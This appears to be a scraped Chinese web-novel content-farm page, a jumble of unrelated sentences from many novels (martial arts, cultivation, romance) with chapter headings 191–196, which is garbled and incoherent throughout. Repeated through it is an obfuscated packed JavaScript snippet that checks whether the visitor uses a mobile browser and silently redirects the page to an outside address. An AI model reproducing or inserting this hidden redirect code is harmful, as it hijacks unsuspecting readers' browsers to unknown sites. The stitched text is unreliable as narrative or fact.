萧羽点点头,没有在说话,而是拿起了调味品,开始撒在狼肉上,同时,用一把锋锐的**,在狼肉上,切割出几道口子,让味道融入进去。 杨宇对此只能摇头,他的确想不明白,倒觉得吴先生的话当中颇多自相矛盾的地方。 在他左右两侧分别关着千江月与鹰眼,这两人也在单独的空瓶子当中。 单凭卖相,就可以看出是品质极高的食材,而且还是从地心区那种地方带出来的,配得上独一无二这个词。 像这种测验完全可以避免,直接来一场点到即止的实战就可以了,或者说,这次测验还有另外的目的? 那汽车司机连连按着喇叭提醒,只是胡浩明却置 若罔闻,继续走着,仿佛完全没有察觉到危险降临。 万淼在黑暗中接过从越野车中递出来的**,跟着轻轻拉动**,双手握枪又迅速隐身到缺口侧面的峭壁旁。 两批人同时对望一眼,这样一来,四名新人已经**两人,而他们甚至连第一个事件区域都还没有度过。 “既然是星期天,怎么就没有其他人在湖边?”于心远提出疑问。 陈建军客客气气从车内递出一本证件,让驱赶车队的士兵半信半疑。 至此,李笑的毒计终于全部暴露了,原来一直没有露面的李飞扬居然是去执行秘密任务去了,而且直接去掏流火的老窝。 吃过午饭,千若若和景墨轩在一起喝着红茶,清脆的敲‘门’声响起。 胖子不住的后退一步,这要是在战场上遇到这么一位主儿,那估计自己就不是死在敌人手里,而是死在她的误伤之下了。 藏人在恶劣环境下锻炼出來的生存能力,使扎旺不像王鹏他们似的,会把食物放在车上。 “影天”同样是一个盗贼。不过这个比之前的冷冷的风要阳光许多。 流火呆立了一下午,直到腹内的饥饿把他唤醒。而这时候,美娇娘就象他肚子里的蛔虫一样,跑到他身边说道。 客喜而笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061611|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洗盏更酌。肴核既尽,杯盘狼籍。相与枕藉乎舟中,不知东方之既白。 这是一个足足有四百多米高的巨人,这是一个生长在岩石上的巨人。熔岩海上无数的平台每天都消耗掉大量的法宝材料,把无尽的元气注入这个巨人的身体里面。 “究竟发生了什么?这里的主人到哪里去了?这里又是怎样一方世界呢?”薛宁的心中有着太多的疑惑得不到解释。 此时,十多名武者已经将楚云端和苏妍围拢,但还没有轻举妄动。 按照着红衣大主教的指导,特罗斯躺在了梦境之石上,他一脸轻松,丝毫没有即将进入试炼的那种紧张。 这一天来,夏悠先是跟加藤一起转乘各种工具,去六天场购物中心。 而这些人实力各异,有些高达阶位十级以上,有些却也只是普通的进化者,甚至更有一般的普通士兵跨门而来。 径直走到了霍格沃茨城堡北门,蹑手蹑脚打开城门后胖子蹿到了地牢的通道,随手捡过一个巫力火把,借着巫力火把的光线来到了地牢。 她们摆棺材,吃**,弄出这么大的动静,只是想问我喝没喝过花酒? “那好,那就一起吃饭吧。”町田苑子几乎是秒答,使劲地点头。 柿子要挑软的捏,敌人有三个,三个都是凡仙,但凡仙也是有强弱之分的。 徐翔没有回答他,他的眼睛一点点的睁大,然后老朽的脑袋回忆起的儿时的一个画面。 所以他问完这句话之后,就端起茶碗喝起了茶,他觉得今天的茶特别的好喝。 不过见她的面容便是极为狼狈的,脸上脏脏的,墨色的长发也是胡乱的一团,让人不忍直视,所以很难想象她是如何让自己看起来依旧高傲清冷。 墨离被云河的话深深震撼了,真没想到自己以为隐藏得很好,却早就被云河看穿了。 第一卷 第191章 北系军输不起! 何队长讲到这里的时候 萧铮没有表态只是双目一瞬不瞬的看着萧菁瞧着她一嘴的油渍满满幸福的笑容轻叹一声你高兴就好。 随着那两道光芒的消失弥漫在空气中那种冰寒烈火般的气息也隐去了不少。云千若上前一步打量起那剑鞘。 沐晓烟已经想象到她见到妈的情形了她肯定又会提起陆哥哥的事情。 诸葛长空面色冷漠的扫了诸葛青天一眼让后者脊梁骨嗖嗖的往外冒着寒气。 唯独没有大贺的因为大贺来的使臣是犇犇使者夫人就是琥珀早就被傻宝拉到自己宫殿里玩石头去了。 而炎廷杉听着外面的动静知道闹大发了也挺心虚还没想好怎么办就发现自己的手腕就被一个长胡子老爷爷给拉了出去圆滚的都摸不到骨头的手腕上被搭上了三根手指。 “是!”楚天曜沉沉开口那人没有半分迟疑应声后身影一闪便消失在殿中。 连翘心底突然就有了一句诗:宠辱不惊闲看庭前花开花落;去留无意漫随天外云卷云舒。 妖魔鬼怪无处不在的曼哈顿成了鬼城人人载歌载舞欢声笑语。 “晓颖现在都中午了你就吃点吧!”可怜唐劲求了整整一个早上还特意去买了午餐进来。 说完这话还不等明珠所有言语星罗已经伸手朝着桌面底下发出了一道气劲。 怀抱的容若蝶就像一瓣行将枯萎的幽兰零落成泥烙刻心田。他拥着她他就在她的身旁为她的凋谢热泪盈眶却无法寻找到温暖的阳光。 他江宁从来都不是吃亏的主这次损失这么大他怎么可能就这么算了。 很明显她是被毒蛇咬伤了脚踝处原本雪白的肌肤变得暗红唐劲在课本上学到过被毒蛇咬伤之后的处理方法第一步要做的应该是拿绳子系住她的脚不让毒继续扩散但现在并没有绳子什么的幸好王黟清穿的丝袜可以代替。 “钟你妈!”王黟清没好气地瞪了他一眼。自己拿起酒瓶倒了一杯。 正哭得酣畅淋漓时突然间泪眼朦胧里眼前多了一双黑色靴子有人无声无息的来到近前。 “……所以他组建了帮派?”李尔满嘴苦涩这算不算自讨苦吃?天底下还真有人学电影的做派无话可 说了。 陈争心里感叹一句,便故意朝赵狂人那边靠拢,引得两尊战争仙器也靠拢到一起,陈争才神不知鬼不觉的甩出两颗仙缘石,附上混乱力量,将两尊战争仙器瘫痪掉。 “我还没有随意变化形态的实力。”凤王瞪着这个不负责任的神,从创造世界后就再也没做过正事,偏偏能力又强的可怕。 这样一来,陈争这一段时间的努力就都白费了,加上仙魔大战真打起来,陈争不能眼睁睁看着所有仙帝**光,还是得出动战争仙器保住仙界,那时,七玄或者霸苍等人趁机对付陈争,陈争就危险了。 江四德应了一声,把那两个老头叫来,让他们两个把方笑武带回去。 一念至此,许多人潜意识之中直接就忽略了血手魔刀之主不得好死的诅咒,只要将其掌控,谁还在乎这些。 还别说,宋新德的确有两把刷,说的这些东西,张六两在网上居然都没到过,看来有些东西还是掌握在人的手里,而并非接受消息满天飞的网络环境下产生的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061612|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “管他呢,咱这里可不是外面的那些一般的监狱,这里**可是不用负责的,再说了,他得罪了千面媚狐,还能活着出去么?走吧,转一圈我们回去斗地主去!”狱警B一脸冷漠的说道。 方笑武运起道力,暗中观察了一下,终于在自己身后不远处的一片草地里发现了一丝丝痕迹。 方笑武问道:“那你的条件是什么?”说到这里,目光却是放在那五道指光交合之处,隐隐约约看到了一个东西。 除了藏獒,别墅周围还有数十名手**械的保镖以及武警和特警,整个别墅里外的气氛,都显得异常的凝重。 刘芒发现他外婆杨玉霞是因为骨头已经衰老,于是再次运起仙术,让杨玉霞体内的血液再次流动,而且让灵力温养着杨玉霞的骨头,让骨头坏死的部位重新长出来,让血液再次正常的流通。 也许有人要问了,这个世界和地球那么多联系,诗词难道没有吗? 此时,他们只见朱久峰的头已经被踩扁了,而且脑袋之中的血水,脑浆全部溢出来,看着无比的恶心。 现在已是八月,经历了一个多月征战的孟九成刚刚率军返回十余天。但他草草巡视了一番地方后,立刻和郑四安率领部队出大店镇,北攻莒州。 老妪不知道,就算自己服软,能不能换来真正的安定,看你软弱就得寸进尺的多了去了,老妪活了一大把岁数了,这些东西早就看透了。 芸妃的心里惶恐着,若不是皇后和顺妃都在场,她一定会跪地乞求太后的原谅。 慕倾雪见刘芒笑眯眯的,而且目光一直看着她,立马抬起手要去怕打刘芒。 第一卷 第192章 闯祸了! 母亲被她气得走回她的房间里。父亲则在房间里骂了母亲一顿,说母亲多管闲事。 轻柔道:“现在是什么时辰?回想以前,这幕熟悉的场景不禁蓦地浮现在雪娇的脑海,以前的她亦是如此过来的,那是她怀抱着期许,和对未来的向往,竭尽所能的付出,结果却截然相反。 他过来的时候应该把事情调查清楚,不能仅凭别墅区保安的片面之词就像莽夫一样杀将过来。同时间,平头警察也在庆幸自己来的时候态度很好,至少没将周游他们当成犯人看待。 白律师,就是当初陪周游去边城县,然后灰溜溜回来的港岛律师。 这是许杰第一次表现出如此激动的神态,大大超出了周游的估计。或许大部分不知道清宫秘方的价值,但许杰可是知道个一清二楚,因为他有一位朋友就是在代理保健品生意的,生意极其红火,赚了个满盘钵。 “我擦,标枪?我能不能直接**了呀?李艺有些疑惑的问到。 这,这要是被其他的大臣知道了核弹攻击的事情,那他这个海军大臣的位子是做到头了。 “什么事情! “那就这样吧,死马当活马医了!我立刻点头答应了下来,然后我们一行人就立刻赶去了冥王大陆的冥王皇宫,到了宫殿门口不远处,我们急忙停了下来。 徘徊在矛盾与挣扎的边缘,她无法决心去选择,以至于自己如今这样可笑的身份……。 孟凡朗有些受打击了,难道自己的心事都写在脸上吗?他不自觉的摸了摸自己的脸。 后来这个李少就给自己打电话了,他听说李少被打之后,也是气不打一处来,就准备过来解决这个问题。 难以想象这是他爸爸的说的话——一般来说,这只会出现在玩笑话里。 叶一航顿时脸色大变,这怎么可以,老大和静姮还在上面呢,都不知道结束了没有,她们这么上去撞见了多尴尬,人家静姮以后还怎么做人? 随后圣虚他们又讨论了一些事情,我也没有继续插话,时间过得很多,没有多大一会就已经到了下午,这时他们也说的差不多了,就准备离开了。 那七星斗神境的家伙,是比她强大,但也没强太多,之前她差一点点就将对方的攻击给尽数击 破了。 “为什么又要出现在我的眼前,你不是说过,不会再让我见到吗?”他的声音,响起在她的耳畔,而他的呼吸喷洒在她的脸上。 我体内那些破碎的经脉在此时被慢慢的修复着,伤势虽然被修复但我体内依然充满了死气。 那些不堪的记忆,足以将她摧毁,她所有的幸运,都在那一年永远离她而去。 秦峰和朱副总理闲聊了一阵,他并没有留宿朱副总理的家中,而是回到了别墅区。 “你从现在开始,停下和范明德的任何合作,收回他的店铺。”龙毅回复道。 但她经历的游戏两万人到两百人,已经做到了百里挑一,真六就顺便挑选了五个。 以后上面再直接给他们下令,他们就可以理直气壮,放心大胆地找省里撑腰了。 秦龙回房间床上躺着打游戏去了,打了一会手游,他就放下手机闭眼睡觉了。 “到时候再说咯,反正你现在让我给钱,没有。”于长老双手一摊,颇为无赖。 太子心中也惴惴不安,如果苏落落她们都是苏侯爷的血脉,他……他也不会让苏氏一门死光的。 会哭的孩子有奶吃,这个道理大家都明白,他哭穷也只是做做样子而已,不可能真的找张维功把金条要回去。 胤禟拍了拍胤?的肩膀,前世今生十弟一直跟在自己身后无怨无悔,前世什么也没得到还受自己连累,今生能让他跟着自己享福,也是自己一个心愿。 苏落落身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061613|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形一闪,掠进了阵形里,飞身进阵心将他们一个一个全都调整好,随即冷声道。 秦庚伸手按在谭智的头上,先是驱逐了对方的内力,后是传授对方乾元燃血功,传输几十年内力。 娄枝正色道:“知道了。”看来还应该让樱桃多加一把劲儿才是。 可是因为罡风的存在,筑基修士在如此高度别说支撑长时间的飞行。她如今只呆了这么一会儿就有些受不住了。 不可否认,佟少云拿自己的前程,以及包括他在内的第二舰队的大约八千名官兵的性命豪赌了一把。 这个环节,其实是为了防止上一个阶段无人愿意越级挑战,久而久之失去压力而设置的。 见到莫清尘气定神闲的样子,莫玉琦忍不住眉毛一挑,凭什么,明明是一个废材,她凭什么总是一副胸有成竹的样子。 莫清尘走出去,和雅帅二人寒暄了几句,就提出要和爷爷单独聊聊。 “你是说,窦建德已经败了?”柴绍皱了皱眉头,低声反问。窦建德兵败,只是他的一个猜测。毕竟这里距离易县还有一段路程,消息不可能再第一时间送过来。 莲香选了五盏花灯、五盏佛灯、十盏美人灯,还有十盏水浒、西游、封神人物灯,命半叶、籽定领着丫头挂到前舱里去给爷们赏玩。 石中玉用力看过去,就在雪光映照下,赫然发现那五人,正是慕容恪带着四大铁卫。 这事儿都不能想,申明刚刚把自己代入进去,一股子热血就涌上了头。 “欧石楠?朱丽?”丁齐眼睛一亮,眉宇飞扬,不羁的神色遮掩不住依旧澄澈的双眸。 他所见所闻的只有关于这个世界繁华的一面,却从未想过这个世界上还有人可能连一顿饱饭都吃不上。 因为不知道老周头有没有供出他们,他们也不敢这时候出城,怕那些官差直接就候在城门口等着他们自投罗网。 第一卷 第193章 王夫人,亡夫人! “你是说,夫人是你的名字?”凌川一脸的不相信,哪有人名字叫夫人的。 “没事啦,我们都想开了,既然那些家伙都不在了,我们也就不追查什么了。”林艾故作轻松地说道。 苏林嘴角微微一扬,元婴中期修为爆发,身上有淡淡的黑色光晕波动,冷哼一声,直接是一手拍向叶天。 此份榜单中或许能够得到上官芷琼甚至严沧海的消息,毕竟二人若是来过地球,绝对会在武道界中有绝高的排名。 或者更准确的说,黑色旋涡竟然直接遮蔽了徐无忧的视线,剥夺了徐无忧的视觉,甚至,连徐无忧的神识都受到了干扰,非常的强大而诡异,果然不愧是大尊极致强者,都不是那么简单的。 “谁说赢不了!”2B一把扯掉自己的眼罩,然后飞到林艾的面前,将林艾的驾驶舱扒开,伸出手拽着她的领子,将她拉出来,额头对着额头,死死地盯着林艾的眼睛。 游戏中还有一个比较有特点的“坐骑”系统,可以乘坐多种坐骑,攻击方式各异,十分实用。 林艾本想说白瞎五六千年的历史来着,但是仔细一想,林艾赫然发现……人类……好像……确实会为了排除异己而这么自相残杀。 N2说完之后,林艾她们感觉整个大地都在震颤,好像地震了一般,几人将目光转向废墟都市那里,在几人微缩的瞳孔中,一座白色的高塔在哪里缓缓升起。 看着那么认真的艾琳,林艾深吸了一口气才把心中的mmp咽了回去没有骂出来。 伊布杜勃然大怒,念力化为火焰元素环绕周身,形成熊熊燃烧的火焰光环。 命运系的死结,拼尽全力终是无解。只是,她从始至终,也只是想出来而已。 宋煜拿过手机,看到上面那一条对方回来的信息,不由的笑了笑。 张通毅在一边看得冒火,坏人我来做,好人让你装完了,我耗费多少心思,才抓了这么九只赣巨人,一下子被你放生了。 他默记父训,却始终不能忍心置百姓于水火,置兵士性命于不顾,他一派坦诚,仁义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061614|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无双,侠肝义胆。 只见一个布袋子里装的是粗瓷锅碗瓢盆勺,另一个布袋子里装的是油盐酱醋,竟还有一瓶米酒,还有一个网兜里装着两只活鸡,一只活鸭。**齐全,活一幅要在此地安家过活的意思。 何妍琪不仅拿下了赖氏企业的代言,还接到了好几个大导演的剧本。 这有时候姜心语真的觉得自己的霉运还没有过去,这个时间居然碰上了孔梦洁了。 蒋胤宇收回放在张鹏身上的目光,双手插兜懒洋洋的继续朝前走去。 夜晚,林桀三人坐于一帐篷内,说了一会之后,林桀拿出了他今日收获得到的两块冰属性的双臂骨。 那上官呢?若说为钱为利,就算知道自家底细,那更不会紧逼,应徐徐图之,不该如此迫不及待就露出杀招。。。 他还没来得及施展缩地成寸逃走,头顶的翻天印已经锁定了他,重重砸下。 但是现在,山本几次对楚逸的帮助,绝对都不简单是因为迫于威胁才帮忙的,都是很尽心尽力的。 第一卷 第194章 北疆传奇,陆沉锋! “可是……根据老太爷的说法,这两个匣子的内部构造都十分精密,算拿到匣子没有开锁心法也是打不开匣子的!”张大力不解的说道。 凶虎不停攻击着风尘孤子,可是看起来像似睡着了的风尘孤子,他的身体却异常的灵敏,不停自主地躲避凶虎的攻击,更可以避开凶虎魔力劲道的攻击范围。 秦远山笑得很神秘,看向丁修的目光就像是在看一件珍爱的宝物。 还是那混沌空间,只不过这一次,那虚无的大门却是微微开启了:“果然要成功了。”龙族分身嘴角一牵,随即朝着那大门走去,轻轻一推,他来到了第五层之中。 “难不成,我们就真的这么等死?”听到海噬蜃楼后,五主是一展莫愁。 豺神一脸激动,只要在**内,那毛利神便无法用神识寻到自己;而且周辰体内精血有助于自己修为提升,只要自己修为超过毛利神,定将他**万段不可。 要知道,守着这三个大美人,还不能动,那是多么难熬的一件事? “额!”殷燎原顿时身子一僵,瞬间就闭上了嘴巴,没再继续谩骂下去。 两人稍作休整,立刻启程,施展护身罡气,一头冲入了地底岩浆河流之中。 “你是怎么知道的?”沉默了良久,阿什利希尔才缓缓开了口,似乎还带着些愠怒。 眼下最热手的一颗星辰怕就是中州大陆的版图,有三方顶尖势力欲要争夺。 古云逸点了点头。这时不知谁通告的,从侧门走出一个胖子,一身米色长袍,光头。一出门便是满脸的堆笑。 唯一的线索就是风间啸,但这老贼太奸猾,那晚之后便踪迹皆无了。 夜吹英十郎迅速的闪过了多个念头,可是最后把每一个念头都过一遍,发现没有一个可以吻合如今的情况,恐怕这个白影,远比他想象之中的还要可怕,这次如果他再遇到这个白影,他绝对不会再有任何的轻敌之心了。 夏天不起雾,冬天不起霜,周边城市的上班族,白领和居民认定那从几个方面而来的气息不是雾气霜花,就是天上的白云,大家拿出手机来拍摄这个罕见的画面。 朗宇身体一空,竟然再次落入了重围。脚下哪里还有碧湖,仿佛万丈高空失足,半丝玄气也提不上来呀。 “放心,我也不会,而且我也不需要你留情,身为敌人,你和我说这 些,难道你是打算用言语说败我吗?”叶彤玉颜如霜,带着拒人于千里之外的冷意,对于战帝,可谓是毫不感冒。 其实对于实力元尘现在也不知道自己究竟能够到达什么地步,唯毕竟自己走的路是前人从未涉及的,唯一确定的是就算当下遭遇到气玄六重境的高手,元尘一招就能将其击败。 那德详里周边的灵气朝着聚灵阵而来,丝丝袅袅,如同天上云朵,风一吹就散。 目前还是先回去把谢美美的伤治好再说吧,反正这把剑自己也没那实力去碰,还不如等以后实力强大了再来研究研究。 “我爸想请你去我家吃饭。”老疙瘩挠了一下他那满是伤疤的头皮说道。 “叔叔,要不先不给你扎个针,给你按摩一下吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061615|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”冯枭试探性地问道。 打开箱子,里面放着一支**,还放着一个弹匣,。狙击弹后面的激发装置是**的,但是弹头装的是麻醉剂。 听了宋增峰的解释,**倒也明白一些了,但管他什么神仙不神仙的,这灵草**是要定了,而且在他们面前,**也算是他们的神仙了。 三分钟之后,千夏一身白色透明的睡衣,性感十足地走出了洗澡间,赤足穿上木屐,在房间里到处查看。隐身后的冯枭,就坐在一把木椅子上。随之而来是一股迷人的淡淡樱花之香。 天剑装模作样的做了好一会儿之后,便拿着他从云北城里买回来的车轴走了回来。 “邪皇的人,实力很强,他……他会愿意为我们冒这个险吗?”白玉龙听到轻柔的话,他皱着眉头问道。 天不亮在吃吃看餐馆的门口,焦急地等待着,烟头扔的满地都是,紫雪姗姗来迟。这种等待也有些折磨人,他抽着烟不断地在饭馆门口四处张望,希望紫雪能早点来。 难道说是罗啸知道自己要被关入了星狱,所以放手一搏,逃了出去了么? 进了花房,谷指挥使早已安排人摆下了筵席。管着这里的阮都头不住劝酒,介绍着周边花木。 若是有幸能活下来,或许能真的成为第九军团的真正士兵,当然了,前提是能活下来,而且有实力。 在这个世界,整个电影特效技术几乎是停滞的,这也带来一连串的蝴蝶效应。 一些年轻人,默默地点着一种香烟,一口一口的抽着,浑身散发着一股寂寞空虚的味道。 第一卷 第195章 再见红罗袄! “唰……” 一道寒芒闪过,战刀应声出鞘。 紧身的露背红裙勾勒出她完美的身材曲线,后背大片白皙光滑的皮肤裸露出来,没有留下一丝过往被荆棘折磨的疤痕。 他听见那个传闻的时候,突然有了一种预感,或许,程隐殊和他一样,也回到了现在。 说完之后还朝那几个保镖吐了吐舌头;就又躲回裴之衍的身后了;裴之衍走过去和那位保镖头子神神秘秘地沟通一下。 葫芦山的守护者,山神,金蛇娘娘,蝎子大王,里面就没有一个好相与的。 “你说说看,东鲁人说话语句的特点是什么?”王卫国上来就问道。 唐龙三下五除二就打开死者的胸腔,他发现死者胸腔内,肺部有严重水肿,气肿因大量溺液吸入,肺泡壁扩张,破裂出血,肺脏可呈水肿,气肿现象,肺叶边缘钝圆,肺表面有肋骨压痕及窒息性点状出血。 而谢景尧和杜蔓,居然被周子隽安排到了商务舱,和她隔着十万八千里。 唐龙也开始对尸体进行尸表检验,一眼看**者身穿一身红,甚至口红,眉毛,指甲,头发,耳环,戒指,项链都是红色,死者身上并没有发现有任何的财务,难道是熟人****灭口,唐龙开始猜想道。 张念祖摆了摆手,对方的心情他是理解的,就跟有人找他修车一样,送来的时候说是要大修,结果放在店里连一改锥都没动不说,最后连车都丢了,你说老板窝火不? 恋综九人将自己最后一条心动短信发给节目组指定的信箱,然后各自动身,前往自己选择的告白地点。 “我……”柳毅能说什么,这是人家的地盘,和副院长讲道理,得了吧,现在是压风魔岩,再争一下指不定会受到什么惩罚了,虽说知道不会太严重,但是被整是跑不掉的。 “虽说上次的事儿算完了,我们也算是共患难的交情,但是我仙灵儿说话一向算话,现在你已经有了王阶修为,我约你一战,不过分吧?”仙灵儿笑呵呵的看着柳毅说道。 这男人···· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061616|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ··叫什么来着?好像是邱哲宇吧?名字听起来倒是不错,怎么就只长个子不长头脑呢? 骨矛深深的刺入了那人的身体之中,那人睁大眼睛不敢相信的缓缓倒下。 车停在茶座门口,一个fúù生跑上前打开了车门,林证曲起胳膊,云茉雨理所应当的挽住后,微微一愣,似乎以前也经常这样。 医生说云茉雨呼吸很弱,还发了高烧,身体各处被冰雹砸紫,不过万幸的是内脏没有受伤。 老龙王却是要保护自己的族人,那就势必要束手束脚。也正是因为这些,老龙王才会直接带领着白龙一族的族人逃离。不然的话,一旦他和辰荒动手,那一般的族人,还真得可能会折杀在这里也说不定了。 待张艺兴破除了棉花盾后,一个令人意想不到的身影出现在众人眼前。 我知道你是懂我的,这就够了,也许……也许未来有很多变数,你我最后会是怎样的结局我都不在乎,我希望你也知道,我的心里,你也是最重要的。 第一卷 第196章 钦差宣旨! “好吧。”过江龙混混知道陈枫主意已定,也不好再说就乖乖换队服去了。 这,声音不是那个“抠脚大汉”的吗?!他,他怎么还能如此轻松的说话? 但,也因此,陆莹莹对沈星儿,看似姐妹情深,实则陆莹莹很讨厌沈星儿。 楼汐就着池瞑的手,把杯中的水尽数喝尽,整个脑袋似是恨不得凑进杯子里。 直到,查到楼海与十**大山有联系,而且,似乎还与某些地下交易有联系。 而且,她肚子里的种指不定是谁的,就算是他的,有沈家给他们养着孩子,温洛奇也并不排斥。 第一,从即日起,奉天健身会所的所有业务由“豪哥”接手,韩刚等人的职务不变。 一身穿紫色长衫的男子站在窗边,那双犹如于笋的手正携着一根烟斗,邪魅的丹凤眼看着远方的倩影,口吐烟圈。 公孙墨白张张嘴,正要说出下联,突然发觉喉咙一阵发紧,出不了声了。 那是一根由纯银打造的权杖,顶端镶嵌着一颗璀璨的红宝石,不需要手机照明,单单是那红宝石散发出来的光芒,便将整个房间照的无比亮堂。 黑暗当中,艾伯特没有看到的是,查尔斯笑得一脸甜蜜,尤其是当艾伯特的手还放在他嘴唇上的时候。 能够抗的下镇国侯的一击,不管镇国侯用了几成的力量,都不是一个化元境的学生可以承受的住的。 怪不得东方红会让李爽配合了。李爽习武之人,武功高深,说话声音更是洪亮。他一开口,声音准确清晰落入百姓们耳中。 在那一片漆黑的湖水里,慕灵好像听到了耳边的叫唤声,那些声音很熟悉。 路上空无一人,空无一物,但沿途经过的教室里却是有学生在修炼,他们仓皇奔过时,不知道有没有被他们发现。 云浅和水伊人相处过一段时间,俩人关系还是很不错的,得知水伊人搬家进了将军府,立马就寻了过来。 就在如歌的衣服马上就要碰到宁夜手中的剑尖,宁夜瞳孔猛然一缩,慌乱地往后退了一步。 终于,那只大掌从她胸口移开了一点点,但却始终不愿意放得太远。 巨大冲击波席卷而开,瞬间将他们所在的地方震颤了个颤,也惊动了白幻殿里面的无数白家人,当下就有无数道身影自白幻殿上方奔涌而出, 朝这里疾速赶来。 “还好,习惯就好。”花弄影笑笑说,脸上流露出几分疲态,可眼神依旧晶亮。 **侯一边给张晗韵夹菜,一边疑惑不已,突然心里一寒,冷汗都出来了。 恶灵发出嘶嘶的咆哮,这声音就像玻璃磨着钢铁的声音一样,让人异常难受。 石磊并没有下死手,不过这一脚,也足够让他在医院里躺上一个月了。 本来我还睡的还算安稳,但因为潜意识里感受到了这几眼的注视,所以也不由得皱起眉毛来。 “我得罪了大哥,说了一些不该说的话……”吴用神情黯然地道。 又到了加藤爱和照美冥不得不暂时分别的时候了,一天的约会时光总是在不经意当中就过去了。 他真正的朋友只有加藤爱和宇智波鼬两人,而最近和宇智波鼬之间却有了一些没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061617|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相互去说开的隔阂。 而岸上的百姓都为这样的大战惊呆了,纷纷呼朋唤友跟着交战双方的船只在陆地上奔跑;边跑边看边激动地议论纷纷。 “云雾流霜?”萧夜闻言心中一动,手掌一招,远处天雾河中漂浮的一朵霜花顿时落到他手上。 保镖点了点头,再次打量了一下凌风,向车里走去。只是凌风能感觉到那墨镜背后透‘露’出的‘精’光,这不是一般人能做到的。 接着陈一刀找上了黄鹏,让他向全国甚至是全世界发布抓拿老祖宗的通缉令,谁提供老祖宗的消息能得到一百万的人民币。老祖宗屠了司马家族,**上百人,所以黄鹏通缉他理所当然。 所以,在这几日以来,龙云风教**他们全新的剑技招式,还有便是骑士与坐骑的配合技巧。在经过了龙云风的悉心指导,虽然境界未有提升,但两大军团的战斗力明显的提升了。 “呵呵,果然是这样,那你手头可有什么通达车马行的罪证,尤其是沈崇名参与其中的罪证!”冯保兴致勃勃的问道。 自从吸收了万灵血珠的精魂后,聂枫已经整整五天没有动过分毫,要是不知情的人,看见脸色苍白的聂枫此刻情况的话,恐怕还以为聂枫已经**。 惊出一身冷汗的二蛋哥一阵后怕,险些就被人给开了瓢,抬手去摸额头,却发现往日引以为傲的一撮刘海竟然出现在了鼻孔当中。 